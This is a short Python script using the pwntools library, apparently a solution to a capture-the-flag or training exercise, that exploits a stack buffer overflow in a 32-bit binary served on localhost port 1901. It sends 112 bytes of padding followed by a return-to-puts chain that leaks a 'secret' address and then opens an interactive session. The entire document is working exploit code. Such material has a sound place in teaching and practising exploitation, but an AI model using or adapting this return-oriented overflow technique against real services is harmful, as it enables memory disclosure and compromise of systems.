#!/usr/bin/python

from pwn import *

puts_plt = 0x08048480
secret_address = 0x8048940

def main():
    # Start the process
    #p = process("../build/2_event0")
    p = remote("localhost", 1901)

    # Craft the payload
    payload = "A"*112
    payload += p32(puts_plt)
    payload += p32(0xdeadbeef)
    payload += p32(secret_address)
    payload = payload.ljust(200, "\x00")

    # Send the payload
    p.send(payload)

    # Pass interaction to the user
    p.interactive()

if __name__ == "__main__":
    main()
